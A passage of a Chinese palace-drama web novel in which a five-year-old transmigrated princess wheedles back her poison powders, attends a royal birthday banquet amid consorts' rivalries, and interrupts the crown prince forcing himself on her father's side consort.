那些毒药他有些认识,有些不认识,还特意找府医看过,好几种连府医都说不出来。 只说剧毒无比。 特别是那什么一柱擎天的毒粉,比合欢散药效强十倍。 一个小孩子,他怎么可能把这么毒的药给她。 万一小丫头在国学监把这些毒药用在那些孩子身上怎么办? “呜呜呜…”唐蕊脑袋一扭,埋在秦芷嫣怀里哭唧唧,眼泪鼻涕全糊在她身上:“母妃,我真是小白菜,亲娘死了,爹也不爱,以后你要是有了自己小宝贝,是不是也不会爱我乐?” “不会不会,母妃怎么会不爱你呢…”说什么自己的小宝贝,她哪儿还有这个机会呀。 就算有,也不会不要唐蕊这么可爱的女儿呀! 秦芷嫣看向司徒澈,斟酌道:“王爷,蕊蕊说得也有道理,孩子每天都要去国学监,万一再遇到坏人,明月他们又来不及救呢?要不…就还她一些?” 第39章 顾楠聿 “…”你别被她骗了啊! 司徒澈没好气道:“昨天谁跟本王说,她亲娘还活着的?哦,今儿个就死了?” 有你这样咒自己亲娘的吗? “…”演过了,忘了! 郁闷,小孩子忘性太大了! 唐蕊哭声骤停,不好意思的笑了笑:“爹爹,不要在意这些细节,其他毒粉就算了,至少把制蛊的毒粉还给我嘛!那些毒粉都是我特意配置的,有些毒草医馆都没得卖,你不还给我,我制蛊的毒粉都不够用了哦。” “爹爹,好爹爹,你最疼我了对不对?” “我是你的小宝贝对不对?” “爹爹是全天下最好、最俊美的爹爹,有爹爹的我真是太幸福鸟。” 唐蕊左一句好爹爹,又一句最好的爹爹,夸得司徒澈都找不着北了,嘴角不由自主微微上翘。 司徒澈经不起她软磨硬泡,最后还是答应让她拿回去。 得! 在这小魔女的影响下,他都觉得五岁的娃娃会制蛊,是一件非常正常的事了。 … 转眼一月过去! 在秦芷嫣的提醒下,司徒澈也开始频频出入其他侍妾的院儿里。 秦芷嫣自从跟他越来越熟悉后,说话也不会拐弯抹角了。 很直白的劝他:“王爷在皇宫长大,相信从小到大见过的腌臜事不少。不要小瞧任何一个女子,用得好,她们会是您的助力,用不好,她们只会给您招来灾祸。” 司徒澈觉得这话说得真没错。 身处这么个位置,什么脏事儿没见过? 要是以为这些女子就是些毫无杀伤力的小白兔,那才真的大错特错了。 这不相处不要紧,一相处他才发现,自己后院的女子们就…一言难尽。 顾侧妃是丞相二房的嫡女,丞相是出了名的保皇党,势力极大,门生遍布朝堂。 若以后他要问鼎那个位置,少不得丞相的支持。 朱庶妃是户部尚书家的嫡女。 户部可是一块油水地,在宫里地位不言而喻。 李姬虽是皇商之女,但她太有钱了。 以后要是他想干什么,都不愁经费问题。 张姬是黑鳞骑左先锋之女,擅排兵布阵,很有将帅之才。 除了璃王妃秦芷嫣和刘姬是皇后塞进来的,其他女人都是皇帝塞进来的。 可这些女人的身份和层次,就…很微妙。 司徒澈直到现在才隐隐明白,自家老爹是个什么意思。 这分明是想让他去争啊! 他知道老爹疼他,可是这么疼的吗? 他的腿都这样了,还无后,都这样了还想把他推上高位? 不过转念一想,父皇好像一直都没放弃过寻找神医谷。 所以…父皇是想先治好他的腿再说? 于是,司徒澈也不偷懒了,几乎天天都会准时准点上朝。 老九前两天得到了神医谷的消息,又出远门了。 但多了个老三辰王,接替了老九的位置,每天推着他进出朝堂大殿,坚定的站在他身后。 遇到不长眼的太子一派为难,不用他开口,老三就会怼回去,怼得他们怀疑人生。 司徒澈:“…”第一次发现,兄弟当中嘴毒的不止老五,还有三哥。 太子:“…”老三怎么突然跟老七关系这么好了。 有点不爽啊! 要不是老七是个残废,他估计不会只是不爽,还会做点别的。 但太子也没忘记巩固自己的地位,一天天的蹦跶得很欢,和朝臣们越走越近,丝毫没有注意到皇帝那一天比一天冰冷的脸色。 辰王注意到了,没有提醒太子。 司徒澈也注意到了,更不会提醒太子。 就任由太子继续蹦跶。 … 唐蕊的日子也很清净。 没有司徒嫱,国学监的日子都清净起来。 除了司徒瑾没事跟她斗斗嘴,使使绊子,其他的也还好。 司徒瑾不比司徒嫱那么恶毒,胆子也没司徒嫱大,一吓吓他,他就老实了。 唐蕊这一个月,在国学监已经有了自己的小团体。 司徒安和顾楠聿,还有司徒郯这个堂兄,本来坐前排的他,也屁颠屁颠的拿着自己的书本到了倒数第二排。 唐蕊对外声称,他们就是古代F4。 另外三只不懂F4是什么意思,虚心请教。 唐蕊言:“F就是美强的意思,F4,我们四个都是又美又强的小孩。” 司徒安和司徒郯居然信了,走哪就成自己是F4之一。 顾楠聿嗤笑一声,没这么自恋,但碍于唐蕊的面子,也没有反驳。 他其实不喜欢和人相处的,大多时候只想一个人待着。 但他也不清楚,为什么不排斥唐蕊。 也许是她没有什么心眼,想要想做什么都会明明白白表现出来。 又也许是她看自己的时候,眼底除了欣赏没有任何杂质吧! 总之,不反感就是了。 没想到的是,这一天,他刚从国学监回来,就被祖父叫去了书房。 丞相年近花甲,白眉白须,一双老眼炯炯有神,似乎一眼能看穿人心。 因为长子成亲晚,孙儿年纪也不大,小时候还经历过那样的事… 还好的是,孙儿很优秀。 没人知道,他是继璃王后第二个过目不忘之人。 但… 老丞相想起最近听到的风言风语,神色不明的看着这个孩子:“听说你最近和昭华郡主走得很近?” 顾楠聿低眉顺眼:“是!” 老丞相皱眉道:“璃王双腿残疾,只有昭华一女,与那个位置无缘,这一点你清楚吧?” 顾楠聿眼底划过一丝讥讽之色:“爷爷是怕我动摇顾家保皇党的位置?只是爷爷,到底是真正的保皇党,还是知道皇上最宠璃王,不敢轻易站队?” “…”每次跟这个孙子聊天,都会把天聊死。 别看他小小年纪,却什么都看得清楚。 是,他不是纯粹的保皇党,他只是不敢轻易站队。 他担心皇帝不顾祖制,把皇位传给残废的璃王。 顾丞相一秒破功,吹胡子瞪眼道:“璃王残疾,若皇上想把他推上去,别说文武百官不允许,就连宗室也不会允许。” 顾楠聿淡淡道:“孙儿只知皇上宠爱璃王,不会让他死。太子若是继位,以他的度量,会让璃王活吗?要保璃王,太子这个皇帝就做不成!” 潜台词是,您站谁都可以,就是别站太子。 顾丞相气乐了:“那你觉得,我们顾家站谁最保险?” 第40章 襄王妃生辰宴 “无非就是辰王、睿王或襄王,总之永远都不可能是太子。依孙儿之见,顾家还是老老实实做个保皇党吧,这三位都与璃王关系不差,孙儿与昭华郡主交好,没有坏处。” “…”顾丞相无言以对,略带深意的看着他:“你眼睛太毒!” 此子,未来不可限量! 昭华虽是私生女,但她是璃王的女儿,堂堂郡主,与孙儿也算是郎才女貌。 顾丞相眉眼缓和下来,笑道:“你也十一了,还有五年就可娶妻,昭华郡主才五岁,等她十四,可还有九年。你…等得起?” 顾楠聿闻言像是看白痴一样看了自家爷爷一眼,拱手:“孙儿告退!” 觊觎一个五岁的奶娃娃,禽兽么? 顾丞相:“…”你那眼神怎么回事? 顾楠聿转身就走。 顾丞相指了指他的背影,恨恨拂袖。 … 又过了两天,襄王妃生辰宴。 唐蕊一早就被容嬷嬷从床上挖了起来,打扮梳洗,换上崭新的鹅黄色衣裙,还在两个发包包上各自插了黄宝石珠花。 打包把她扔进马车时,司徒澈和秦芷嫣已经淡定了。 这一个多月来,唐蕊每天去国学监,几乎都是这个状态。 倒是顾侧妃,和唐蕊接触不多。 今日襄王妃生辰,作为璃王侧妃,她也会出席。 看到唐蕊这个样子,顾侧妃眉头微蹙:“郡主一直这样?” “是啊!小孩子,瞌睡多,多让她睡会儿也好。”秦芷嫣一边说着,一边习惯性接过容嬷嬷的食盒,放在车厢角落。 顾侧妃看到食堂,又拧了拧眉:“这是…” “蕊蕊食量大,给她备着,她要是途中醒了,可以吃一些。” 秦芷嫣显然习惯了,顾侧妃却叹为观止,甚至还有一丝不适。 她没出嫁前,是正经的闺阁小姐,一言一行都有规矩。 唐蕊虽小,但这也太… 反正以后她要是有女儿,绝不会这么教导她。 想到未来女儿,顾侧妃偷偷瞄了司徒澈一眼,不自觉红了耳垂。 璃王俊美无双,哪怕腿脚不便,也难掩非凡气度。 若她能有幸诞下麟儿,无论是男孩女孩,定能像璃王一样吧… 这个念头一出,再次被顾侧妃遏制了,强迫自己开始思念太子。 不怪她,这一个月来,司徒澈也不知道怎么了,经常来她院儿里晃悠。 相处之下她才发现,司徒澈三岁能文的传言并不是假的。 不管她说什么,司徒澈不光接上话,还能引经据典,点出某某不足之处。 除此之外,司徒澈的棋艺也很超群。 每次与他对弈,都会忘记时间。 所谓知音也不过如此了吧? 不仅如此,哪怕在她院中歇息,同睡一张床,也不会冒犯她。 以前太子可是跟她说,像司徒澈这种双腿残疾,不能人道之人,床笫之事也很变态。 搞得她还害怕了许久… 可司徒澈一点都不变态,很礼貌的跟她各盖一床被子,谈天说地直到她睡着。 晚上偶尔醒来,见她双手伸出被子,还会帮她盖好。 长得好看,还这么体贴,学识又好,斯文有礼。 顾侧妃不是圣人,经常和这样的男人相处,怎么可能不动心? 察觉到顾侧妃的神色,秦芷嫣心里苦涩之余,也很骄傲。 司徒澈就是天下最好的男儿,哪怕是人淡如菊的顾侧妃也会心仪。 … 马车摇摇晃晃,不多时便到了襄王府。 襄王府张灯结彩,热闹非凡,下人们穿梭其中,忙得不亦乐乎。 唐蕊在路上就醒了,炫了两碗粥加一碗云吞。 秦芷嫣替她擦了擦小嘴,顾侧妃也替她整理了一下头上两个发包包。 一家子下了马车,襄王府的总管赶紧迎了上来。 璃王适时让人送上贺礼,随着下人去了男宾那边。 临走时,他看向唐蕊:“要听你母妃和顾庶母的话,知道吗?” “知道啦知道啦,爹爹放心叭!”唐蕊敷衍的挥了挥手手。 璃王又看向秦芷嫣和顾侧妃:“不惹事,也别怕事,有什么解决不了的,就让人来男宾席这边叫本王。” “王爷放心!”秦芷嫣和顾侧妃道。 随后,牵着唐蕊跟着引路的丫鬟往内院走去。 男女不同席,女宾们此时都在花园里赏花。 不仅如此,正妃们凑一起,侧妃们凑一起,每个阶级地位不同的女人不会强行坐在一起。 秦芷嫣朝顾侧妃点点头,牵着她朝‘王妃团’走去。 顾侧妃也带着自己的侍婢走向‘侧妃团’。 “哟,七弟妹来啦!这就是昭华吧?真可爱,快来刘皇婶看看。”襄王妃是个很开朗的女人。 今日她二十三岁生辰,穿着喜庆的红色文锦烟罗,裙摆上还用金边绣着朵朵蔷薇,衬得本就艳丽的容貌越发明媚。 唐蕊一贯很会讨喜,当即松开秦芷嫣的手,迈着小腿跑了过去,还从兜兜里摸出一盒香膏,踮起脚尖递给她:“六婶婶生辰快乐,这是昭华给你的礼物哦,只要擦擦,脸会柔柔嫩嫩,越来越白哦。” “昭华还给六皇婶准备了礼物呀!”襄王妃受宠若惊,也很意外这孩子的讨喜。 她不缺这一盒香膏,但这份心意难得。 来这的女娃娃没有一个会像唐蕊一样,会另外给她准备礼物的。 毕竟,大人们已经送过礼了。 秦芷嫣掩唇一笑:“这香膏是昭华自己配置的,十天前就在准备了。我也用过,你瞧,我今日只擦了一层淡淡的粉,皮肤是不是很好?” 襄王妃定睛一看,很是惊讶。 只见秦芷嫣的脸色白里透红,肌肤柔嫩。 她记得以前秦芷嫣的皮肤比较干燥的,没想到就变了。 襄王妃:“呀!这么神奇?” 辰王妃和睿王妃也凑了过来。 唐蕊帮了她很多忙。 儿子能像普通孩子一样生活,已经是大恩了。 还有何庶妃的事。 上次她听唐蕊的,去宫里请了太医来。 太医一眼就断定谦哥根本不是风寒,而是中了毒。 只是毒量很小,看来就像是风寒一般。 辰王大怒,把何庶妃关了起来,还把谦哥扔给了府里无子的侧妃教养。 何庶妃失了宠,她也清净不少。 现在啊,唐蕊在她眼里就是小福星,她完全是把唐蕊当成亲生女儿一样。 第41章 妯娌之间的交锋 “昭华还有这样的本事?七弟妹,你的皮肤真的好了许多呀!” “昭华,可不能厚此薄彼呀!”睿王妃也开口说道。 襄王妃没好气的瞥了她一眼:“干什么呢?今日可是我生辰,你们想要,就等生辰的时候再说吧!” “我回去后再多配置两盒,给三婶婶和五婶婶送去,都有,都有哦。” 唐蕊奶声奶气,逗得几个王妃直乐呵。 辰王妃是早就领教过唐蕊的可爱聪慧了,睿王妃还没见过唐蕊,这也是她们第一次接触。 睿王妃不由得感叹:“七弟妹,你家昭华真可爱,不像我家那几个闺女,唉…” 这次还不待秦芷嫣说话,唐蕊就一本正经道:“五婶婶,不要把自家的小孩和别人家的小孩比较哦,自家的小孩才是独一无二哒,最可爱哒,你这么说,她们会伤心哦。” 国学监里睿王家的三个女娃和她不算亲近,互相也不了解,她可不想拉仇恨! 是是是,昭华说得对,是五婶婶说错话啦。”睿王妃笑出声来,捏了捏她的包子脸。 她一个大人,怎么会听不出唐蕊的言外之意。 这孩子,当真聪慧! 皇帝七个儿子,老九还没成亲,老十一还小。 王妃圈一共五个妯娌,四个女人关系都很好。 除了… “太子妃驾到!” 一道声音响起。 襄王妃的神色瞬间淡了下来。 辰王妃也收起了笑容。 睿王妃翻了个白眼,懒懒扶了扶自己的发髻,阴阳怪气:“都说越缺什么,就越看重什么,我们进来都不需要下人传唱,她倒是别具一格,生怕别人不知道她是太子妃,飞上枝头了似的。” “行了,人家阵仗这么大,准备行礼吧!”辰王妃说了一句,率先站了起来。 其他王妃也站了起来,看着那个走进来的女人福了福身子:“太子妃。” 秦芷媃挑眉一笑,眼底掩饰不住的小人得志:“妹妹们不必多礼!” 几个王妃:“…” 谁是妹妹,谁是你妹妹啊? 会不会说话? 我们是妯娌关系,又不是你后院那些太子的妾室! 就不能说一句,都是自家人,不必多礼吗? 眼里藏不住表情就算了,话都不会说,这太子妃真是… 有时候不是她们不愿意跟秦芷媃亲近,也不是她们想冷暴力。 实在是秦芷媃上不得台面,跟她待在一起不是掉价,就是被她哪句无心的话气个半死。 唐蕊瞄了一眼这个太子妃,暗暗嘀咕。 长得还不错,和秦芷嫣的眉眼有四五分相似,就是不如秦芷嫣顺眼。 最重要的是… 唐蕊眼神落在了太子妃身边的司徒嫱身上,很是好奇:“太子妃婶婶,司徒嫱不是被禁足么?” 太子妃淡淡的瞥了她一眼,眼里划过一丝不满:“今日襄王妃生辰,父皇特意开恩免了她的禁足。” 好吧,其实是司徒嫱也不知道经谁提醒,用血抄孝经。 皇帝感动,这才开恩免了她的禁足。 “昭华,你是在质问本妃吗?”太子妃不怒自威。 唐蕊:“??”有病? 司徒嫱一脸得意的看着唐蕊:“母妃,她还不向你行礼呢,你可是太子妃,她不过是个小小的郡主,一点规矩都没有,也不知道是谁教她的。” 唐蕊:“…”果然有病。 太子一家,居然就太子和司徒薇父子俩看起来稍微正常点。 秦芷嫣把唐蕊护在身后:“嫱姐慎言,刚刚昭华已经行过礼了。” 司徒嫱咄咄逼人道:“我说的是跪拜大礼!” “哎哟!”睿王妃接过话来,直接忽略司徒嫱看向秦芷媃:“好大的威风哟,连一个小姑娘都要欺负,好能耐好本事。太子妃,这是你的意思还是你家庶女的意思啊?” 说到庶字时,睿王妃加重了语气。 司徒嫱顿时脸色铁青。 秦芷媃不满睿王妃这语气,也看不惯跟秦芷嫣有关的所有人,一脸傲然道:“有什么不对吗?本妃是太子妃,一个郡主向本妃行跪拜大礼,本妃难道受不起?” 瞧瞧! 不愧是庶女出身,一朝翻身,眼界都没有,面子情也不顾。 睿王妃嗤笑一声,看了看辰王妃和襄王妃。 两人眼底也划过一丝不满之色。 “昭华确实该向太子妃行跪拜之礼。” 秦芷嫣慢条斯理接过话来,还不待秦芷媃得意,突然又话锋一转:“不过,父皇好像免了昭华行跪拜之礼。太子妃,昭华这是听你的,还是听父皇的啊?” 太子妃脸色骤变,想都没想便道:“当然是听父皇的,不过父皇有免除她的跪拜之礼吗?本妃怎么不知道?” 秦芷嫣:“…” 这话说得,我难道会拿这事胡说八道不成? 以为我跟你一样啊? 秦芷嫣视线落在司徒嫱身上,面露不解:“怪了,上次你家嫱姐被父皇罚禁足,可是亲口说过这话的,难道你家嫱姐没告诉过你吗?还是我家王爷哄骗我?这…不能吧?” 秦芷媃猛的看向司徒嫱,眼神不善。 司徒嫱现在才想起,好像是有这回事,顿时急了:“母妃,我当时…” “呵呵…”睿王妃轻笑一声,打断她的话:“太子妃好大的架子呀,昭华被父皇免了跪拜之礼,你还得让她行跪拜之礼。三嫂,你说说,这叫什么事呀!” 辰王妃淡淡道:“欺君之罪而已,太子妃想来也不怕,谁让她是太子妃呢,搞不好以后就是全天下最尊贵的女人。” 秦芷媃脸色大变:“三弟妹慎言。” “太子妃,你不会以为我与你一般口无遮拦吧?那你错了,不光大夏有皇后,东临和北狄都有皇后。你想做天下最尊贵的女人,那得让太子努努力,把东临和北狄都打下来了。”辰王妃讥讽的瞥了她一眼,又道:“说起来,太子殿下与璃王一母同胞,璃王康健时骁勇善战,想来太子也不差吧?” 还得是辰王妃,嘲讽太子妃的同时,还拐着弯的说太子不如璃王,完全抓不到她话里任何错处。 难道,替大夏扩大地域版图,不对吗? 第42章 顾侧妃和太子 睿王妃默默朝她竖起大拇指。 襄王妃都差点给她拍掌叫绝。 秦芷媃脸色无比难看,声音就像是从牙缝里挤出来的一样:“自然,太子殿下自然不必璃王差。” 哈哈哈… 几个王妃都忍不住笑了。 璃王康健时乃大夏战神。 太子比璃王大几岁,真这么厉害,这战神之名还轮得到璃王吗? “几位妹妹聊吧,本妃去别处逛逛!”太子妃待不下去了,黑着脸带着司徒嫱离开。 唐蕊看得啧啧称奇。 穿越到古代,前五年在神医谷。 后来待在璃王府过小日子。 这还是第一次体会到,甄嬛传里的气氛。 “切,庶女就是上不得台面!”睿王妃小声吐槽了一句。 辰王妃也同情的看着秦芷嫣:“有这么个妹妹,你也挺辛苦。” “说笑了,她可影响不到我。”秦芷嫣蹲下身,担忧的看着唐蕊:“蕊蕊,没吓着吧?” 唐蕊大气的摆了摆手:“小场面,我不怕哦。” “蕊蕊真厉害,去玩吧,不要离开母妃的视线就好。” 秦芷嫣说罢,还给容嬷嬷使了个眼色,暗示她看好唐蕊。 容嬷嬷微微颔首,跟着唐蕊走了。 几个王妃可是一圈命妇里的顶级人物,时刻被人关注。 秦芷媃的丑态也尽入她们眼中。 命妇们摇摇头,有些失望。 太子妃以后可是一国之母,居然这么个德行。 都说皇后宠爱太子,也不知道怎么想的,居然把秦芷媃给太子做正妃。 这不是害了太子吗? 还好皇后不在这里,不然定会被气死。 她也不知道秦芷媃会是这个德行,想退货都不行! 侧妃圈里,顾侧妃把这一幕收入眼底,开始心疼太子了。 这么个货色居然成了太子妃,太子肯定很累吧! 就在这时,一个面生的侍婢来到她身边,压低声音说了句什么。 顾侧妃眼睛一亮,左右看了看,见无人注意自己,于是带着霜蓉悄悄离开了花园。 她刚走没多久,又有一个小婢女来到秦芷嫣跟前,太子妃找她。 秦芷嫣本不想理会,但小婢女说:“太子妃让奴婢告诉您,她有神医谷的消息。” 这下秦芷嫣坐不住了,再次叮嘱容嬷嬷照看好唐蕊,这才随她离开。 唐蕊在国学监没有什么女性朋友,只和朱妙婈熟悉一些。 朱妙婈是户部尚书的幺女,已经十二岁了,还要喊府中朱庶妃一声嫡姐。 唐蕊见她一个人在池塘边发呆,于是好奇的凑了过去:“你在这做什么?” “昭华郡主!” 朱妙婈起身就要行礼,却被唐蕊止住了:“咱们在国学监天天见,你还是我朱庶母的妹妹,用不着行礼哦。” “谢郡主!”朱妙婈比起唐蕊,规矩得多。 不管是站姿还是坐姿,都是完全按照古代贵女的模版来的。 唐蕊又问道:“你在这做什么?” “我…”朱妙婈脸颊一红,还是摇了摇头:“无事…” 容嬷嬷也笑看了她一眼,小声提醒道:“朱小姐十二了,女子十五岁就可议亲,最近户部大人府中正在给她相看人家。老奴听说,相中了礼部尚书家的幼子。估计朱小姐,想去男宾那边看看吧!” “哦~”唐蕊恍然大悟。 礼部尚书家的,那不就是楚璟川的小叔么? 唐蕊眼珠子一转,笑眯眯道:“朱姐姐,我想去男宾那边找爹爹,可不认识路,你能带我去吗?” 朱妙婈脸更红了:“这…不好吧…” 唐蕊撇撇嘴:“可我就认识你哦,带我去好不好?” 朱妙婈本就想去,唐蕊又开始装可怜,于是忍着羞涩答应下来:“那…去了就要立刻回来…” “好哇,走走走,朱姐姐牵我!” “好!” 朱妙婈牵住她的小手,还不忘纠正她的称呼:“郡主,我家长姐是你的庶母,你不应该称我姐姐。” 唐蕊没所谓:“哎呀,各论各的,我要是叫你姨姨,不是把你叫老了么?” 才十二岁呢! 这个时代十五岁就可议亲。 恐怖! 前世她十五岁的时候,还在奋斗中考呢! 以后长大了,她可不能这么早就议亲,至少得等到十八岁。 两人离开花园,走过小桥。 靠近假山时,突然听到假山里似乎有人说话。 朱妙婈本不想理会的,但唐蕊耳尖的听到了顾侧妃的声音,于是立刻拉着朱妙婈悄悄走了过去。 凑得近了,她才看到,她那人淡如菊的顾庶母,面前正站着太子。 唐蕊还好,眼底满是八卦之色。 朱妙婈吓了一跳,差点惊呼出声。 还好容嬷嬷及时捂住了她的嘴。 朱妙婈眼珠转动,心里惊起滔天巨浪。 对她而言,顾侧妃已经是侧妃了,居然私会太子,这…这也太…太不守妇道了。 唐蕊最多同情爹爹一秒,说一声苍天饶过谁。 不远处的顾侧妃和太子却根本没发现她们几个。 太子深情款款的看着顾侧妃:“你瘦了…” 顾侧妃闻言一愣,低头看了看自己,眼底划过一丝疑惑。 不能吧! 她最近心情不错,昨天还特意称过,胖了三斤。 不过…太子既然说她瘦了,那就瘦了吧! 顾侧妃顺着他的话道:“是,太子殿下最近还好吗?” 太子握住她的手:“一切都好,就是…若雪,孤很想你。” “太子殿下…”顾若雪抽回自己的手,脸上一片哀伤:“我现在是璃王的侧妃,我们不可能了…” 太子一脸痛苦:“可孤喜欢的一直都是你,难道你不知道吗?” 顾侧妃眼底划过一丝挣扎,最终闭了闭眼:“一枕凄清伴月明,挥手尘缘错。殿下,你的心意我明白,但我们真的不可能了。哪天你要是登上帝位,我这样的女子,也配不上你。” “…”蠢货,你当然配不上孤。 想是这么想,太子却握着她的肩,语气悲愤:“不!若雪,你是全天下最配得上孤的女子,孤不许你诋毁自己。” “太子殿下…”顾侧妃眼角一行清泪滑落:“只要你记得我,我就很满足了。” “若雪…”太子动情的将人拥入怀中。 顾侧妃脸上划过一丝不适,却也没有抵抗。 罢了罢了,他这么爱自己,让他抱抱吧! 顾侧妃这个想法刚刚落下,就发现太子的手也不规矩了,在她腰间摩挲。 第43章 顾庶母准备杀我灭口了吗? 顾侧妃脸色一变,当即推开他。 可太子却以为她欲擒故中,强硬的把人抱住:“若雪,孤好想你,让孤亲亲你好不好?” “不,太子殿下你放开我。”顾若雪吓得魂飞魄散。 她是喜欢太子,但她从没跟太子越雷池半步。 以前太子见她,也很守礼数。 为何? 她不知道,太子完全把她当成了自己的所有物。 她越是挣扎,太子作为男人的占有欲就越发膨胀。 “若雪,你也是喜欢孤的,司徒澈一个残废根本就配不上你,只有孤才配得上你。” 太子胡乱的吻着她,她不停闪躲,急得都哭了:“太子殿下,你松开我,我们不能这样。” “别挣扎了,孤知道你其实很欢喜…” 最近顾若雪有些不对劲,传信约她,她很少再出来。 就算他问起司徒澈,顾若雪也没多透露什么。 哪像以前,只要一问,她就知无不言言无不尽。 幕僚说:“您太冷落她了,女人嘛,都一样,只要您对她好一点,她巴不得把心掏给你。” 今日之事太子不是一时脑热,而是深思熟虑了很久。 在他看来,对一个女人最好的方式,那就是宠幸她。 虽然跟女人…那啥…有点反胃,可为了大计,也不是不能行。 让太子恼怒的是,都这个时候了,顾若雪还在跟他装。 真要挣扎,怎么不用力呢? 他已经给面子宠幸她了,还要怎样? 还好顾若雪不知道他的内心想法,不然肯定会喷他一脸。 她怎么就没用力?她一个弱女子,还要多大的力才能推开一个成年男人? 就在这时,唐蕊的声音传来:“朱姐姐,我的珠花不见啦,快帮我找找,找到珠花我们再去找我爹爹。” 太子脸色骤变,赶紧松开了顾若雪。 顾若雪眼眶发红,神情悲愤,美目一眨,眼泪落下。 但现在不是哭的时候,她这个样子,被人看到还要不要活了? 顾若雪哆嗦着手,慌乱的系着自己的衣带。 “若雪,改日孤再来看你!”太子抱着她脑袋,吻了吻她额头,扭头就从假山另一边跑了。 顾若雪气得差点骂娘。 “朱姐姐,找到了吗?”唐蕊的声音越来越近。 顾若雪来不及整理自己的衣服了,转身就跑。 可刚跑出去两步,脚一崴摔倒在地。 可恶! 可恶! 顾若雪扭头看去,唐蕊这时候也正好出现在她视野中。 “顾庶母,你怎么在这里哇?”唐蕊迈着小腿走了过去,朝她伸出手。 顾若雪没有伸手,而是自己站起身来,衣衫不整,明明狼狈却还在努力保持冷静:“我摔了一跤罢了。” 唐蕊看了一眼她身侧微微颤抖的手,冷声一笑,脸上的可爱天真也消失得干干净净:“是吗?顾庶母是不是把我当什么都不懂的小孩子呢?” 顾若雪脸色瞬间惨白,唇瓣哆嗦:“你…你看到了?” “是呀,所以我才故意发出声音,提醒你和太子叔叔哦。” 唐蕊眯眼一笑,小手背在身后,在顾若雪看来就是一个小恶魔。 顾若雪看了看她身后,发现容嬷嬷并没跟着她,也没有看到所谓的朱姐姐。 一个阴暗且可怕的想法顿时在她脑海中浮现。 顾若雪看着唐蕊,眼神逐渐冰冷起来:“你一个人?” 然而… “怎么?顾庶母准备杀我灭口了吗?” 唐蕊说着,还看了看一旁的池塘,摸着下巴点评:“八错八错,这个池子倒是个很好的沉尸地点哦,顾庶母接下来是打算把我扔进去吗?” “你…” 顾若雪脸色变了几变,眼底杀意与挣扎来回交织。 良久… 她深吸一口气,转过身去不看唐蕊:“我不杀你,想告诉王爷也好,告诉其他人也罢,都随你!” 唐蕊眼底划过一丝笑意:“你不怕哦?” 顾若雪摇摇头,认命般闭上眼睛:“没什么可怕的,是我做错了事,不能一错再错。” 她也读四书五经,知礼义廉耻,是非对错。 情不自禁红墙出墙本就是丑事了。 要是再为此背上人命,那她这些年来受的教育算什么?又把家族置于何地? “好叭,那我走了哟!”唐蕊故意说了一句,见她还是背对着自己,这才笑眯眯的离开了。 顾若雪确定身后没了动静,腿一软瘫坐在地,捂着脸低低的哭出声来。 … 朱妙婈和她的婢女在前面等着的。 而容嬷嬷就守在假山外,把唐蕊和顾侧妃的对话听了个清清楚楚。 往前走了一段距离后,容嬷嬷才皱眉道:“郡主,真就这么放过顾侧妃了?如此水性杨花的女子,配不上王爷。” 唐蕊:“所以我吓她了呀!” 容嬷嬷有些不确定:“就吓吓?” “本来不止是吓吓的,给我爹爹戴绿帽,我这个做女儿的,肯定要跟我爹爹站在一边呀,但是吧…” 唐蕊说到这里,顿了顿又道:“谁年轻的时候的没爱过几个人渣,顾庶母对太子发乎情止乎礼,也不是水性杨花的女子。” 容嬷嬷厌恶道:“但她不守妇道是事实。” “哎呀,别把不守妇道的底线卡那么死哦。” 唐蕊见她还是一脸不岔,又道:“我刚刚试探她,让她杀了我,如果她真的动了手,我就把她毒晕了交给爹爹处置。可她没这么做哦,这只能说明她不是坏人。再说了,她好歹是丞相府的女儿,还是个侧妃,要是真的在璃王府病故了,麻烦的也是爹爹。” “郡主说得是…”容嬷嬷一想也是这个理:“真是便宜她了,以后她若再跟太子往来,又怎么办啊?” “放心吧,我心里有数哦。”这事她不会告诉爹爹,但是会告诉秦芷嫣。 若是别的王妃,知道自家侧妃偷人,八成把人往死里踩。 但秦芷嫣不会。 一个恋爱脑,所作所为都会以心爱之人利益为主。 秦芷嫣知道了,只会约束顾若雪。 便宜老爹本就因为不能人道被人诟病,若是自家侧妃偷人的事传出去,顾侧妃讨不了好,便宜老爹不也成了京城的笑柄? 安抚好容嬷嬷,唐蕊迈着小短腿一直往前走。 第44章 来人啊,有人落水了 终于,远远的看到了站在廊桥上的朱妙婈。 越过这个廊桥,就是男宾席了。 朱妙婈看到唐蕊,往前走了几步,直到现在脸都还是白的:“郡主,那人…真是顾侧妃吗?” 唐蕊睁着眼睛说胡话:“不是呀,你看错了,那就是六皇婶家一个侍婢。” “原来如此。”朱妙婈当然不信。 但这种事,还是装傻的好。 顾侧妃就算了,还有太子,她还怕被灭口呢! 朱妙婈现在只觉得哪哪都不安全,后悔乱溜达了:“郡主,我们还是回去吧!” “来都来了,走嘛,就远远的看看…看我爹爹,我不许他喝酒,想瞧瞧他有没有偷偷喝。”唐蕊不由分说拉着朱妙婈继续往前走。 朱妙婈眼底划过一丝暖色。 她知道,唐蕊是在帮她找借口呢! 两人越过廊桥,来到圆形拱门不远处,嘈杂声也阵阵涌入耳中。 站在这里朝拱门看去,已经能看到那些男宾了。 唐蕊和朱妙婈躲在一株迎客松后面,伸出两个脑袋往拱门瞧。 只是…太人太多了。 唐蕊抬头看着朱妙婈:“朱姐姐,你知道哪个是你那未婚夫吗?” “郡主,还不是未婚夫呢…” 只是两家有那个意思而已。 朱妙婈很害羞,不过也在脑子里回忆自家侍婢帮她搞到的画像。 很快,她就看到了与画中人相似的脸,素手指了指:“应该就是他了。” 唐蕊顺着她指的看了过去,下意识拧了拧眉。 长得很一般,没楚璟川好看,也没楚璟川白,就像是丢进人群都找不回来那种。 最让唐蕊看不惯的是,那个男人眼下的乌青,和何耀祖一样一样的。 这…明显就是纵欲过度呀! 唐蕊张了张嘴想说,可看到朱妙婈一副春心荡漾的表情,还是默默闭了嘴。 千金难买心头好,就算要提醒朱妙婈,也不能由她嘴里说出来。 以后可以找个合适的机会,合适的时间和合适的人,再不经意的告诉朱妙婈。 反正她也要好几年才会真的嫁过去,不着急! “郡主,我看过了,你还要去找你爹爹么?”朱妙婈生怕被别人发现。 未出阁的女子来相看未来夫婿什么的,这也太羞人了。 “我看到爹爹了,他没喝酒,我们走吧!”唐蕊无力吐槽。 平时在国学监,也没见一个个的有多少男女大防,怎么换了个地方就不一样了? 难道,只是对成年男人要防? 两人转身往回走,一路上朱妙婈的心情似乎很雀跃。 足以看出,她对这个来来夫婿相当满意。 然而… 两人回到女宾待的花园后,现场一阵鸡飞狗跳。 唐蕊和朱妙婈面面相觑,心中涌起一股不祥的预感。 